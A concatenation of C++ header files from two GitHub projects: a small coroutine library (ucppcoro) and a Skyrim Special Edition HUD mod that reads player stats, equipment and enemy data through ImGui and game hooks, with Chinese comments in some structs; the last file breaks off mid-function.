return mAllocSize;
}
///
/// \brief Deletes the dynamic state of the coroutine
/// \author GrandChris
/// \date 2020-10-25
///
template<size_t SIZE>
inline void Task<SIZE>::destroy()
{
// mHandle.destroy(); // Does not work with placement new
mHandle = nullptr;
}
|
GrandChris/ucppcoro
|
include/ucppcoro/Event.h
|
<gh_stars>1-10
//
// \file Event.h
// \author GrandChris
// \date 2020-11-21
// \brief Class for storing function pointers
//
// #pragma once
// #include "ucppcoro/Delegate.h"
// #include <cstddef>
// template<size_t N, typename T>
// class Event;
// ///
// /// \class Event.h
// /// \author GrandChris
// /// \date 2020-10-14
// /// \brief Stores functions
// /// \param N Maximum number of functions
// /// \param Args Arguments
// ///
// template<size_t N, typename R, typename ...Args>
// class Event<N, R(Args...)> {
// public:
// ///////////////////////////////////////////////////////////////////////////////
// // Public Methods
// void operator()(Args... args) const;
// template <auto Method, typename T>
// bool add(T* objectPtr);
// template <typename T>
// bool add(T* objectPtr);
// // template <auto Function>
// // bool add();
// private:
// ///////////////////////////////////////////////////////////////////////////////
// // Type Definitions
// using DelegateType = Delegate<R(Args...)>;
// ///////////////////////////////////////////////////////////////////////////////
// // Member Variables
// size_t mSize = 0;
// std::array<DelegateType, N> mFunctions = {};
// };
// ///////////////////////////////////////////////////////////////////////////////
// // Implementation
// template<size_t N, typename R, typename ...Args>
// inline void Event<N, R(Args...)>::operator()(Args... args) const
// {
// for(size_t i = 0; i < mSize; ++i) {
// mFunctions[i](args...);
// }
// }
// template<size_t N, typename R, typename ...Args>
// template <auto Method, typename T>
// inline bool Event<N, R(Args...)>::add(T* objectPtr)
// {
// if(mSize < mFunctions.size() && objectPtr != nullptr) {
// auto delegate = mFunctions[mSize++];
// auto func = Delegate<R(Args...)>::setMethod<Method, T>;
// // delegate.setMethod<Method, T>(objectPtr);
// // mFunctions[mSize++].set<Method>(objectPtr);
// return true;
// }
// else {
// return false;
// }
// }
// template<size_t N, typename R, typename ...Args>
// template <typename T>
// inline bool Event<N, R(Args...)>::add(T* objectPtr)
// {
// if(mSize < mFunctions.size() && objectPtr != nullptr) {
// mFunctions[mSize++].set(objectPtr);
// return true;
// }
// else {
// return false;
// }
// }
// // template<size_t N, typename R, typename ...Args>
// // template <auto Function>
// // inline bool Event<N, R(Args...)>::add()
// // {
// // if(mSize < mFunctions.size()) {
// // mFunctions[mSize++].set<Function>();
// // return true;
// // }
// // else {
// // return false;
// // }
// // }
|
GrandChris/ucppcoro
|
include/ucppcoro/TestSize.h
|
<reponame>GrandChris/ucppcoro
//
// \file TestSize.h
// \author GrandChris
// \date 2020-10-26
// \brief Asserts the size of a coroutine
//
#pragma once
#include "type_traits_function_pointer.h"
#include <concepts>
#include <cassert>
template<typename T>
concept FuncPtr = is_function_ptr_v<T>;
///
/// \brief Checks if the coroutine can be successfully allocated
/// \author GrandChris
/// \date 2020-10-26
/// \param coroutine A pointer to a function returning a "Task<>"
///
template<FuncPtr T>
inline size_t testSize(T coroutine)
{
using TTask = return_type<T>::type;
using Args = argument_type<T>::tuple_noref;
Args args;
TTask task = std::apply(coroutine, args);
if(task.size() > TTask::max_size)
{ // allocation failed
[[maybe_unused]] size_t const size = task.size();
assert(false);
return task.size();
}
else
{ // allocation was successful
task.destroy();
return task.size();
}
}
|
cheetman/skyrim-sse-hud
|
src/utils/PlayerDataProvider.h
|
#pragma once
#include <PCH.h>
#include "utils.h"
class PlayerDataProvider
{
public:
static std::string getArrowDamage(RE::PlayerCharacter*& a_player)
{
RE::TESAmmo* ammo = a_player->GetCurrentAmmo();
if (ammo) {
//logger::trace("Item {} is arrow"sv, ammo->GetName());
return StringUtil::getStringValueFromFloat(ammo->data.damage);
}
return "";
}
static std::string getDamage(RE::PlayerCharacter*& a_player, bool a_left)
{
float damage = -1;
auto hand = getEquippedWeapon(a_player, a_left);
if (hand) {
damage = a_player->GetDamage(hand);
//logger::trace("Name {}, WeaponDamage {}, Left {}"sv, hand->GetDisplayName(), damage, a_left);
}
return (damage == -1) ? "" : StringUtil::getStringValueFromFloat(damage);
}
static std::string handleWeaponSpeed(RE::PlayerCharacter*& a_player, bool a_left)
{
float speed = -1;
auto hand = getEquippedWeapon(a_player, a_left);
//could also get other weapon stats that way
if (hand) {
speed = static_cast<RE::TESObjectWEAP*>(hand->object)->GetSpeed();
logger::trace("Name {}, WeaponSpeed {}, Left {}"sv, hand->GetDisplayName(), speed, a_left);
}
return (speed == -1) ? "" : StringUtil::getStringValueFromFloat(speed);
}
static std::string handleWeaponReach(RE::PlayerCharacter*& a_player, bool a_left)
{
float reach = -1;
auto hand = getEquippedWeapon(a_player, a_left);
if (hand) {
reach = static_cast<RE::TESObjectWEAP*>(hand->object)->GetReach();
logger::trace("Name {}, WeaponReach {}, Left {}"sv, hand->GetDisplayName(), reach, a_left);
}
return (reach == -1) ? "" : StringUtil::getStringValueFromFloat(reach);
}
static std::string handleWeaponBaseDamage(RE::PlayerCharacter*& a_player, bool a_left)
{
float baseDamage = -1;
auto hand = getEquippedWeapon(a_player, a_left);
if (hand) {
baseDamage = static_cast<RE::TESObjectWEAP*>(hand->object)->attackDamage;
logger::trace("Name {}, WeaponBaseDamage {}, Left {}"sv, hand->GetDisplayName(), baseDamage, a_left);
}
return (baseDamage == -1) ? "" : StringUtil::getStringValueFromFloat(baseDamage);
}
static std::string handleWeaponStagger(RE::PlayerCharacter*& a_player, bool a_left)
{
float stagger = -1;
auto hand = getEquippedWeapon(a_player, a_left);
if (hand) {
stagger = static_cast<RE::TESObjectWEAP*>(hand->object)->GetStagger();
logger::trace("Name {}, WeaponStagger {}, Left {}"sv, hand->GetDisplayName(), stagger, a_left);
}
return (stagger == -1) ? "" : StringUtil::getStringValueFromFloat(stagger);
}
static std::string handleWeaponCrit(RE::PlayerCharacter*& a_player, bool a_left)
{
float crit = -1;
auto hand = getEquippedWeapon(a_player, a_left);
if (hand) {
auto critData = static_cast<RE::TESObjectWEAP*>(hand->object)->criticalData;
crit = critData.damage * critData.prcntMult;
logger::trace("Name {}, WeaponCritDamageRating {}, Left {}"sv, hand->GetDisplayName(), crit, a_left);
}
return (crit == -1) ? "" : StringUtil::getStringValueFromFloat(crit);
}
static std::string getXP(RE::PlayerCharacter*& a_player)
{
return StringUtil::delimitTwoValues(a_player->skills->data->xp,
a_player->skills->data->levelThreshold,
"/"sv);
}
/* might need additional checks for mods that add more items
* each light, heavy or shield gives 3% res + for some reason there is a 12 base res
* formula would be ((totalArmorRating * 0.12) + (3 * piecesWorn));
*/
static std::string getDamageResistance(RE::PlayerCharacter*& a_player, float a_cap, std::string a_ending)
{
const auto inv = a_player->GetInventory([](RE::TESBoundObject& a_object) { return a_object.IsArmor(); });
auto armorCount = 0;
for (const auto& [item, invData] : inv) {
const auto& [count, entry] = invData;
if (count > 0 && entry->IsWorn()) {
const auto armor = item->As<RE::TESObjectARMO>();
/* clothing does not count torwards reduction
* as stated here http://en.uesp.net/wiki/Skyrim:Armor#Armor_Rating
*/
if (armor->IsLightArmor() || armor->IsHeavyArmor() || armor->IsShield()) {
//logger::trace("Armor name {}, Rating {}"sv, armor->GetName(), armor->GetArmorRating());
armorCount++;
}
}
}
auto damageResistance =
ValueUtil::calculateArmorDamageRes(a_player->GetActorValue(RE::ActorValue::kDamageResist), armorCount);
//auto dragonhide = getValueIfDragonhideIsAcitve(a_player);
auto damageResistanceString = StringUtil::getStringValueFromFloat(damageResistance);
//logger::debug("Damage Resistance from Armor {}"sv, damageResistance);
if (a_cap != -1) {
damageResistanceString = ValueUtil::getValueWithCapIfNeeded(damageResistance, a_cap, a_ending);
}
return damageResistanceString;
}
static std::map<std::string, std::string_view> getEquipment(RE::PlayerCharacter*& a_player)
{
//maybe chance to naming from int to a string
std::map<std::string, std::string_view> slotMapString;
const auto inv = a_player->GetInventory([](RE::TESBoundObject& a_object) { return (a_object.IsArmor()); });
for (const auto& [item, invData] : inv) {
const auto& [count, entry] = invData;
if (count > 0 && entry->IsWorn()) {
const auto armor = item->As<RE::TESObjectARMO>();
logger::trace("Armor name {}, Slot {}"sv, armor->GetName(), armor->GetSlotMask());
std::vector<int32_t> slotList;
for (auto slotType : slotTypes) {
if (static_cast<int32_t>(armor->GetSlotMask()) & static_cast<int32_t>(slotType)) {
auto slot = getSlotidFromBitMask(slotType);
logger::trace("Item has slotType {}, {}"sv, slotType, slot);
slotList.push_back(static_cast<int32_t>(slot));
}
}
auto slotString = VectorUtil::getDelimitedString(slotList);
slotList.clear();
if (slotString != "") {
slotMapString[slotString] = armor->GetName();
}
}
}
for (auto item : slotMapString) { logger::trace("{}: {}"sv, item.first, item.second); }
return slotMapString;
}
private:
PlayerDataProvider() = default;
PlayerDataProvider(const PlayerDataProvider&) = delete;
PlayerDataProvider(PlayerDataProvider&&) = delete;
~PlayerDataProvider() = default;
PlayerDataProvider& operator=(const PlayerDataProvider&) = delete;
PlayerDataProvider& operator=(PlayerDataProvider&&) = delete;
/* altered list from RE::BIPED_MODEL::BipedObjectSlot, to cover http://wiki.tesnexus.com/index.php/Skyrim_bodyparts_number */
enum class ArmorSlot
{
kNone = 0,
kHead = 1 << 0,
kHair = 1 << 1,
kBody = 1 << 2,
kHands = 1 << 3,
kForearms = 1 << 4,
kAmulet = 1 << 5,
kRing = 1 << 6,
kFeet = 1 << 7,
kCalves = 1 << 8,
kShield = 1 << 9,
kTail = 1 << 10,
kLongHair = 1 << 11,
kCirclet = 1 << 12,
kEars = 1 << 13,
kFaceMouth = 1 << 14,
kNeck = 1 << 15,
kChestPrimary = 1 << 16,
kBack = 1 << 17,
kMisc = 1 << 18,
kPelvisPrimary = 1 << 19,
kDecapitateHead = 1 << 20,
kDecapitate = 1 << 21,
kPelvisSecondary = 1 << 22,
kLegPrimary = 1 << 23,
kLegSecondary = 1 << 24,
kFaceAlternate = 1 << 25,
kChestSecondary = 1 << 26,
kShoulder = 1 << 27,
kArmSecondary = 1 << 28,
kArmPrimary = 1 << 29,
kMiscFX = 1 << 30,
kFX01 = 1 << 31
};
inline static std::vector<ArmorSlot> slotTypes = { { ArmorSlot::kNone },
{ ArmorSlot::kHead },
{ ArmorSlot::kHair },
{ ArmorSlot::kBody },
{ ArmorSlot::kHands },
{ ArmorSlot::kForearms },
{ ArmorSlot::kAmulet },
{ ArmorSlot::kRing },
{ ArmorSlot::kFeet },
{ ArmorSlot::kCalves },
{ ArmorSlot::kShield },
{ ArmorSlot::kTail },
{ ArmorSlot::kLongHair },
{ ArmorSlot::kCirclet },
{ ArmorSlot::kEars },
{ ArmorSlot::kFaceMouth },
{ ArmorSlot::kNeck },
{ ArmorSlot::kChestPrimary },
{ ArmorSlot::kBack },
{ ArmorSlot::kMisc },
{ ArmorSlot::kPelvisPrimary },
{ ArmorSlot::kDecapitateHead },
{ ArmorSlot::kDecapitate },
{ ArmorSlot::kPelvisSecondary },
{ ArmorSlot::kLegPrimary },
{ ArmorSlot::kLegSecondary },
{ ArmorSlot::kFaceAlternate },
{ ArmorSlot::kChestSecondary },
{ ArmorSlot::kShoulder },
{ ArmorSlot::kArmSecondary },
{ ArmorSlot::kArmPrimary },
{ ArmorSlot::kMiscFX },
{ ArmorSlot::kFX01 } };
static double getSlotidFromBitMask(ArmorSlot a_armor_slot)
{
return std::log(static_cast<int32_t>(a_armor_slot)) / std::log1p(1) + 30;
}
/* currently unused because unsure of calculation, it should be damageRes + ((100-damageRes)/(100/dragonhideValue))
* with the 80% cap it should be a total of 96% res
*/
static float getValueIfDragonhideIsActive(RE::PlayerCharacter*& a_player)
{
auto effects = a_player->GetActiveEffectList();
if (!effects) {
return 0;
}
//a_player->currentProcess->middleHigh->activeEffects
for (const auto& effect : *effects) {
if (effect) {
auto formid = effect->GetBaseObject()->GetFormID();
//Dragonhide
if (formid == 0x000CDB75) {
logger::debug("Is Armor Spell {}, magnitude {}, formid {}"sv,
effect->GetBaseObject()->GetName(),
effect->magnitude,
StringUtil::intToHex(formid));
return effect->magnitude;
}
}
}
return 0;
}
static RE::InventoryEntryData* getEquippedWeapon(RE::PlayerCharacter*& a_player, bool a_left)
{
RE::InventoryEntryData* weapon;
if (a_left) {
weapon = a_player->currentProcess->middleHigh->leftHand;
} else {
weapon = a_player->currentProcess->middleHigh->rightHand;
}
if (weapon) {
logger::trace("Equipped Item is {}, left {}"sv, weapon->GetDisplayName(), a_left);
}
return weapon;
};
};
|
cheetman/skyrim-sse-hud
|
src/main.h
|
<reponame>cheetman/skyrim-sse-hud<filename>src/main.h
#pragma once
#include "event\BSTMenuEvent.h"
#include "event\BSTScriptEvent.h"
#include "event\BSTCrosshairRefEvent.h"
#include "sse-imgui\imgui_wrapped.h"
#include "sse-imgui\sse-imgui.h"
#include "utils\GeneralUtil.h"
#include "utils\NameUtil.h"
#include "utils\PlayerDataProvider.h"
#include <iostream>
#include <stdlib.h>
#include <tchar.h>
#include <windows.h>
#include "hook\hudhook.h"
//static float health = 0.0f;
//static float kMagicka = 0.0f;
//static float kStamina = 0.0f;
//static float armor = 0.0f;
//static float lightArmor = 0.0f;
//static float heavyArmor = 0.0f;
//static float kMeleeDamage = 0.0f;
//static float kUnarmedDamage = 0.0f;
//static float kCriticalChance = 0.0f;
//static float kDamageResist = 0.0f;
//static float lightArmor2 = 0.0f;
//static float heavyArmor2 = 0.0f;
//std::string playerRaceName = "";
// 人物属性
struct PlayerInfo
{
std::string name = ""; // 玩家名
std::string ArrowDamage = ""; //弓箭伤害
std::string DamageRight = ""; //右手伤害
std::string DamageLeft = ""; //左手伤害
std::string DamageStr = ""; //HUD显示内容
//std::string DamageResist = ""; // 护甲值
float kDamageResist = 0.0f; // 护甲值
float kPoisonResist = 0.0f; // 毒抗
float kResistFire = 0.0f; // 火炕
float kResistFrost = 0.0f; // 冰抗
float kResistShock = 0.0f; // 雷抗
float kResistMagic = 0.0f; // 法抗
float kResistDisease = 0.0f; // 抗疾病
RE::NiPoint3 Angle; // 视角
RE::NiPoint3 Position; // 坐标
float kOneHandedModifier = 0.0f;
float kTwoHandedModifier = 0.0f;
float kMarksmanModifier = 0.0f;
float kSmithingModifier = 0.0f;
float kSmithingPowerModifier = 0.0f;
float kSmithingSkillAdvance = 0.0f;
float kAlchemyModifier = 0.0f;
float kAlchemySkillAdvance = 0.0f;
float kAlchemyPowerModifier = 0.0f;
float kEnchantingModifier = 0.0f;
float kEnchantingPowerModifier = 0.0f;
float kEnchantingSkillAdvance = 0.0f;
float kHealth = 0.0f;
float kMagicka = 0.0f;
float kStamina = 0.0f;
float kHealthBase = 0.0f;
float kMagickaBase = 0.0f;
float kStaminaBase = 0.0f;
} playerInfo;
// 装备防具信息
struct ArmorInfo
{
//bool isShow = false;
bool isExist = false; // 是否装备
bool isMainSlotAlert = false;
bool isSpeacilSlotAlert = true;
std::string treeId = ""; //HUD显示内容
std::string name = ""; // 装备名称
std::string formID = ""; // 物品ID
std::string formTypeName = ""; // 物品类型
std::string equipSlotName = ""; // 装备插槽部位
std::string armorTypeName = ""; // 装备类型
int goldValue = 0; // 装备价格
int value = 0; // 属性值
float armorRating = 0; // 装备等级
float weight = 0; // 重量
};
ArmorInfo wornArmos[32];
// 装备武器、弹药信息
struct WeaponInfo
{
bool isExist = false; // 是否装备
std::string treeId = ""; //HUD显示内容
std::string name = ""; // 武器名称
std::string formID = ""; // 物品ID
std::string formTypeName = ""; // 物品类型
std::string weaponTypeName = ""; // 武器类型
RE::FormType formType = RE::FormType::None;
int goldValue = 0; // 装备价格
int value = 0; // 属性值
int critDamage = 0; // 暴击伤害
int damage = 0; // 武器伤害
float weight = 0; // 武器重量
// 法术
std::string castingTypeName = ""; // 法术类型
std::string spellTypeName = ""; // 法术类型
float cost = 0; // 法术消耗
float time = 0; // 施法时间
bool isTwoHand = false; // 是否占用双手
} leftWeaponInfo, rightWeaponInfo, ammoInfo;
static bool startflag = false;
static bool auto_remove_ammo = false;
// 文件路径
std::filesystem::path settings;
std::string fontFilePath;
// 默认配置
static bool show_player_base_info_window = false;
static bool flag_process = false;
static bool flag_base_info_setting = true;
static bool show_player_info_window = true;
static bool show_player_mod_window = false;
static bool show_player_armor_window = true;
static bool show_player_weapon_window = true;
static bool show_player_debug_window = false;
static bool no_titlebar = false;
static bool no_resize = false;
static bool no_collapse = false;
static bool no_background = false;
static bool auto_resize = true;
static int imgui_style_index = 2;
// 20220428 追加
static bool window_border = true;
static bool frame_border = true;
static bool bullet_text = false;
//static int refresh_time_show = 1000;
static int refresh_time_data = 300;
static float colorPlotHistogramX = 0.9f;
static float colorPlotHistogramY = 0.7f;
static float colorPlotHistogramZ = 0;
static float colorPlotHistogramW = 1;
static bool show_enemy_window = false;
bool save_settings();
bool load_settings();
const char* actorValues[] = {
"负重 [kCarryWeight]",
"生命恢复 [kHealRate]",
"魔法恢复 [kMagickaRate]",
"耐力恢复 [KStaminaRate]",
"行走速度 [kSpeedMult]",
"武器基础伤害 [kMeleeDamage]",
"空手基础伤害 [kUnarmedDamage]"
};
RE::ActorValue actorValuesIndex[] = {
RE::ActorValue::kCarryWeight,
RE::ActorValue::kHealRate,
RE::ActorValue::kMagickaRate,
RE::ActorValue::KStaminaRate,
RE::ActorValue::kSpeedMult,
RE::ActorValue::kMeleeDamage,
RE::ActorValue::kUnarmedDamage,
};
const char* perActorValues[] = {
"毒抗 [kPoisonResist]",
"火抗 [kResistFire]",
"冰抗 [kResistFrost]",
"雷抗 [kResistShock]",
"法抗 [kResistMagic]",
"抗疾病 [kResistDisease]",
"远程基础伤害 [kMarksmanPowerModifier]",
"法术基础伤害 [kDestructionPowerModifier]"
};
RE::ActorValue perActorValuesIndex[] = {
RE::ActorValue::kPoisonResist,
RE::ActorValue::kResistFire,
RE::ActorValue::kResistFrost,
RE::ActorValue::kResistShock,
RE::ActorValue::kResistMagic,
RE::ActorValue::kResistDisease,
RE::ActorValue::kMarksmanPowerModifier,
RE::ActorValue::kDestructionPowerModifier,
};
// 基础属性进度条
static float progress = 0;
static float progress2 = 0;
static float progress3 = 0;
static int stateMod_lastSelectIndex = -1;
static int stateMod_selectIndex = 0;
static float stateMod_nowValue = 0;
static float stateMod_newValue = 0;
static int statePerMod_lastSelectIndex = -1;
static int statePerMod_selectIndex = 0;
static float statePerMod_nowValue = 0;
static float statePerMod_newValue = 0;
|
cheetman/skyrim-sse-hud
|
src/sse-imgui/sse-imgui.h
|
<reponame>cheetman/skyrim-sse-hud
/**
* @file sse-hooks.h
* @brief Public C API for users of SSE Hooks
* @internal
*
* This file is part of SSE Hooks project (aka SSE-ImGui).
*
* SSE-ImGui is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SSE-ImGui is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with SSE-ImGui. If not, see <http://www.gnu.org/licenses/>.
*
* @endinternal
*
* @ingroup Public API
*
* @note This API is not thread-safe.
* @note Unless mentioned, all strings are null-terminated and in UTF-8.
*
* @details
* This file encompass all the functions which are presented to the users of
* SSE-ImGui. The interface targets to be maximum compatible and portable
* across the expected build and usage scenarios. This file uses generic C, but
* is compatible with C++. As the methods are to be exported in the DLL, this
* lib interface can be also accessed from other languages too.
*/
#ifndef SSEIMGUI_SSEGUI_H
#define SSEIMGUI_SSEGUI_H
#include <stdint.h>
#include "platform.h"
#include "imgui_wrapped.h"
/// To match a compiled in API against one loaded at run-time.
#define SSEIMGUI_API_VERSION (1)
#ifdef __cplusplus
extern "C" {
#endif
/******************************************************************************/
/**
* Run-time version of this API and its implementation details.
*
* This function can be used to detect in run-time what kind of feature & fixes
* on the API, the loaded file is compiled with. This function is the only one,
* which is guaranteed to preseve through the whole lifecycle of this product.
*
* The @param api tells what version is the current API. Any version different
* than the one expected guarantees a broken interface. Most likely it will
* mean that a function is missing or its prototype is different.
*
* The @param maj describes major, but compatible changes within the API. Maybe
* a new function is added or the behaviour of an old one was extended in
* compatible way i.e. it won't break the callee.
*
* The @param imp is an implementation detail, in most cases may not be of
* interest. It is reserved for patches, bug fixes, maybe documentation updates
* re-release of something and etc.
*
* It is advised to check @param api against #SSEIMGUI_API_VERSION.
*
* @param[out] api (optional) non-portable
* @param[out] maj (optional) new features and enhancements
* @param[out] imp (optional) patches
* @param[out] timestamp (optional) in ISO format
*/
SSEIMGUI_API void SSEIMGUI_CCONV
sseimgui_version (int* api, int* maj, int* imp, const char** timestamp);
/** @see #sseimgui_version() */
typedef void (SSEIMGUI_CCONV* sseimgui_version_t) (int*,int*,int*,const char**);
/******************************************************************************/
/**
* Report the last message in more human-readable form.
*
* @param[in,out] size in bytes of @param message, on exit how many bytes were
* actually written (excluding the terminating null) or how many bytes are
* needed in order to get the full message. Can be zero, if there is no error.
*
* @param[out] message in human readable form, can be nullptr if @param size is
* needed to pre-allocate a buffer.
*/
SSEIMGUI_API void SSEIMGUI_CCONV
sseimgui_last_error (size_t* size, char* message);
/** @see #sseimgui_last_error() */
typedef void (SSEIMGUI_CCONV* sseimgui_last_error_t) (size_t*, char*);
/******************************************************************************/
/**
* Change the SSE ImGui activation key.
*
* The control key is one of the Windows VIK_* constants used to toggle the
* input capturing. Rendering is always active and is up to the ImGui plugins
* to decided whether they want to render during disabled input or no.
*
* @see https://docs.microsoft.com/en-us/windows/desktop/inputdev/virtual-key-codes
* @param[in,out] vik constant to be used from now on, if the param is negative
* or out of bounds (>255) it won't change the constant. On exit it will
* contain the previous, or the current (if not changed) key used.
*/
SSEIMGUI_API void SSEIMGUI_CCONV
sseimgui_activation_key (int* dik);
/** @see #sseimgui_activation_key() */
typedef void (SSEIMGUI_CCONV* sseimgui_activation_key_t) (int*);
/******************************************************************************/
/**
* Type of callback invoked on each frame, parameter says whether SSE ImGui
* is active (capturing input) or not.
*/
typedef void (SSEIMGUI_CCONV* sseimgui_render_callback) (int active);
/**
* Register or remove a render listener
*
* These functions are invoked on each frame rendering, so plug ins can render
* elements above or something. Note that, less and faster is better, or the
* FPS can suffer.
*
* @param[in] callback to call or @param remove
* @param[in] remove if positive, append if zero.
*/
SSEIMGUI_API void SSEIMGUI_CCONV
sseimgui_render_listener (sseimgui_render_callback callback, int remove);
/** @see #sseimgui_render_listener() */
typedef void (SSEIMGUI_CCONV* sseimgui_render_listener_t)
(sseimgui_render_callback, int);
/******************************************************************************/
/**
* Execute custom command.
*
* This is highly implementation specific and may change any moment. It is like
* patch hole for development use.
*
* @param[in] command identifier
* @param[in,out] arg to pass in or out data
* @returns non-zero on success
*/
SSEIMGUI_API int SSEIMGUI_CCONV
sseimgui_execute (const char* command, void* arg);
/** @see #sseimgui_execute() */
typedef int (SSEIMGUI_CCONV* sseimgui_execute_t) (const char*, void*);
/******************************************************************************/
/**
* Set of function pointers as found in this file.
*
* Compatible changes are function pointers appened to the end of this
* structure.
*/
struct sseimgui_api_v1
{
/** @see #sseimgui_version() */
sseimgui_version_t version;
/** @see #sseimgui_last_error() */
sseimgui_last_error_t last_error;
/** @see #sseimgui_activation_key() */
sseimgui_activation_key_t activation_key;
/** @see #sseimgui_render_listener() */
sseimgui_render_listener_t render_listener;
/** @see #sseimgui_make_imgui_api() */
sseimgui_make_imgui_api_t make_imgui_api;
/** @see #sseimgui_execute() */
sseimgui_execute_t execute;
};
/** Points to the current API version in use. */
typedef struct sseimgui_api_v1 sseimgui_api;
/******************************************************************************/
/**
* Create an instance of #sseimgui_api, ready for use.
*
* @returns an API
*/
SSEIMGUI_API sseimgui_api SSEIMGUI_CCONV
sseimgui_make_api ();
/** @see #sseimgui_make_api() */
typedef sseimgui_api (SSEIMGUI_CCONV* sseimgui_make_api_t) ();
/******************************************************************************/
#ifdef __cplusplus
}
#endif
#endif /* SSEIMGUI_SSEGUI_H */
/* EOF */
|
cheetman/skyrim-sse-hud
|
src/hook/hudhook.h
|
//#pragma once
#include <cstdint>
#include <PCH.h>
#include "utils/utils.h"
struct EnemyInfo
{
std::uint32_t formId = 0;
std::string name = ""; // 玩家名
std::string ArrowDamage = ""; //弓箭伤害
std::string DamageRight = ""; //右手伤害
std::string DamageLeft = ""; //左手伤害
std::string DamageStr = ""; //HUD显示内容
//std::string DamageResist = ""; // 护甲值
float kDamageResist = 0.0f; // 护甲值
float kPoisonResist = 0.0f; // 毒抗
float kResistFire = 0.0f; // 火炕
float kResistFrost = 0.0f; // 冰抗
float kResistShock = 0.0f; // 雷抗
float kResistMagic = 0.0f; // 法抗
float kResistDisease = 0.0f; // 抗疾病
//RE::NiPoint3 Angle; // 视角
//RE::NiPoint3 Position; // 坐标
//float kOneHandedModifier = 0.0f;
//float kTwoHandedModifier = 0.0f;
//float kMarksmanModifier = 0.0f;
//float kSmithingModifier = 0.0f;
//float kSmithingPowerModifier = 0.0f;
//float kSmithingSkillAdvance = 0.0f;
//float kAlchemyModifier = 0.0f;
//float kAlchemySkillAdvance = 0.0f;
//float kAlchemyPowerModifier = 0.0f;
//float kEnchantingModifier = 0.0f;
//float kEnchantingPowerModifier = 0.0f;
//float kEnchantingSkillAdvance = 0.0f;
float kHealth = 0.0f;
float kMagicka = 0.0f;
float kStamina = 0.0f;
int isSentient = 0;
int level = 0.0f;
float kHealthBase = 0.0f;
float kMagickaBase = 0.0f;
float kStaminaBase = 0.0f;
time_t updateTime = 0;
} ;
template <typename T1, typename T2>
inline T2* dyna_cast(T1* base)
{
auto asForm = static_cast<T1*>(base);
auto ret = (asForm)->As<T2>();
return ret;
}
#define DYNAMIC_CAST(base, srcType, targetType) (dyna_cast<srcType, targetType>(base))
void hookInstall();
EnemyInfo* getEnemyData();
//bool Hook_EnemyHealthLookupReferenceByHandle_impl(const RE::RefHandle& refHandle, RE::NiPointer<RE::TESObjectREFR>& refrOut);
|
cheetman/skyrim-sse-hud
|
src/utils/utils.h
|
<reponame>cheetman/skyrim-sse-hud
#pragma once
#include <PCH.h>
#include <string>
#include <windows.h>
#include <iostream>
#include <stdlib.h>
namespace StringUtil
{
static std::string cutString(std::string a_value)
{
std::string text;
if (a_value.find(".") != std::string::npos) {
auto s = a_value.substr(a_value.find(".") + 1, 2);
if (count(s.begin(), s.end(), '0') == 2) {
text = a_value.substr(0, a_value.find("."));
} else {
text = a_value.substr(0, a_value.find(".") + 3);
}
} else {
text = a_value;
}
return text;
}
static std::string getStringValueFromFloat(float a_x) { return cutString(fmt::format(FMT_STRING("{:.2f}"), a_x)); }
static float calculateValue(float a_rm, float a_r) { return (a_rm * a_r) / 100; }
template <typename T>
static std::string intToHex(T a_i)
{
std::stringstream stream;
stream << "0x" << std::setfill('0') << std::setw(sizeof(T) * 2) << std::hex << a_i;
return stream.str();
}
template <typename T>
static std::string delimitTwoValues(float a_v1, float a_v2, T v_d)
{
return fmt::format(FMT_STRING("{}{}{}"), getStringValueFromFloat(a_v1), v_d, getStringValueFromFloat(a_v2));
}
static std::string Utf8ToGbk(const char* src_str)
{
int len = MultiByteToWideChar(CP_UTF8, 0, src_str, -1, NULL, 0);
wchar_t* wszGBK = new wchar_t[len + 1];
memset(wszGBK, 0, len * 2 + 2);
MultiByteToWideChar(CP_UTF8, 0, src_str, -1, wszGBK, len);
len = WideCharToMultiByte(CP_ACP, 0, wszGBK, -1, NULL, 0, NULL, NULL);
char* szGBK = new char[len + 1];
memset(szGBK, 0, len + 1);
WideCharToMultiByte(CP_ACP, 0, wszGBK, -1, szGBK, len, NULL, NULL);
std::string strTemp(szGBK);
if (wszGBK)
delete[] wszGBK;
if (szGBK)
delete[] szGBK;
return strTemp;
}
}
namespace ValueUtil
{
static float calculateArmorDamageRes(float a_armor_rating, int32_t a_pieces_worn)
{
return (float(a_armor_rating * 0.12) + float(3 * a_pieces_worn));
}
static std::string getValueWithCapIfNeeded(float a_res, float a_cap, std::string a_ending)
{
auto value = StringUtil::getStringValueFromFloat(a_res);
if (a_res > a_cap) {
value = fmt::format(FMT_STRING("{}{} ({})"),
StringUtil::getStringValueFromFloat(a_cap),
a_ending,
StringUtil::getStringValueFromFloat(a_res));
}
return value;
}
static std::string getValueWithPermAV(float a_av, float a_perm_av)
{
if (a_av != a_perm_av) {
return StringUtil::delimitTwoValues(a_av, a_perm_av, "/"sv);
}
return StringUtil::getStringValueFromFloat(a_av);
}
}
namespace VectorUtil
{
static std::vector<uint16_t> getIntersect(std::vector<uint16_t>& a_vec_first, std::vector<uint16_t>& a_vec_second)
{
std::vector<uint16_t> intersectionVector;
std::sort(a_vec_first.begin(), a_vec_first.end());
std::sort(a_vec_second.begin(), a_vec_second.end());
std::set_intersection(a_vec_first.begin(),
a_vec_first.end(),
a_vec_second.begin(),
a_vec_second.end(),
back_inserter(intersectionVector));
return intersectionVector;
}
template <typename T>
static std::string getDelimitedString(std::vector<T>& a_vec)
{
auto deliString =
a_vec.empty() ?
"" :
std::accumulate(std::begin(a_vec), std::end(a_vec), std::string{}, [](std::string r, int p) {
return std::move(r) + std::to_string(p) + ",";
});
if (!deliString.empty()) {
deliString.pop_back();
}
return deliString;
}
}
namespace QuestUtil
{
static std::vector<uint16_t> getStagesIfComplete(RE::TESQuest* a_quest)
{
std::vector<uint16_t> finStages;
//all favour quests finish at 25 execpt rift = 20
auto hex = StringUtil::intToHex(a_quest->GetFormID());
logger::debug("Questname ({}), formid {}, prio {}"sv, a_quest->GetName(), hex, a_quest->data.priority);
//todo make util function if for checking stages
logger::trace("executed Stages for quest {}"sv, hex);
auto exec = a_quest->executedStages;
for (auto it = exec->begin(); it != exec->end(); ++it) {
auto i = *it;
auto qstdata = i.data;
logger::trace("index {}, flag {}"sv, 1);
if (qstdata.flags.underlying() == 1) {
finStages.push_back(qstdata.index);
}
}
